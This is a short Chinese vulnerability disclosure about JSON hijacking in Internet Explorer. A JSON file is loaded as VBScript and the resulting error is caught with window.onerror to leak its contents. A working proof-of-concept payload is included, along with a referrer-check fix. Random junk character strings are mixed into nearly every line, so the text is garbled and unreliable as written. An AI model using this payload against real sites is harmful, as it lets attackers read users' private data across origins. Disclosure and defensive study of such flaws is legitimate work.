简要描述:
% h% \/ F9 ]1 f% ], P5 @) v3 N. `3 Z% u2 j0 M
由于某些资源容器对数据处理不当导致json劫持漏洞.' G8 ~4 O8 n/ E- e
详细说明:, f( a- O( w: n, d
由于ie支持vbscript,所以script元素可以指定成vbscript语言:0 Y) ?+ [) r5 M6 {* F; V
<script language=vbscript></script>; n5 f- E/ n' g- m9 \
* } I, k+ O, J% ]% ?' f. a当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.. G7 t) P: p- \7 V& |* J
漏洞证明:
5 l+ u3 |3 ~) E# B! u( O<script>
a- K- b4 A9 a8 @window.onerror=function(_){- [, E* c m' \0 ?- g, k# h
alert(_)
4 H/ A1 v$ v# l- ~" E- m}
2 Y- U# {* R. Y5 F& r5 k- o</script>) l) c/ J& W3 K% B% H3 {
<script language=vbscript src=1.json></script>9 d( ^7 m% {- l! e
) y* b* Q: Y: I& o Z$ w/ S
3 R2 \9 V* ~9 n1 j) X' K2 i1.json: O9 M' g, r% N! y M7 X* Q
[{"name":"sogili","age":19}]
8 s& y8 w9 J) f6 w2 R. s1 Z修复方案:
! S+ j) a8 i2 M5 l( u网站业务对于这个问题可以通过验证referrer是否为同源来防御 |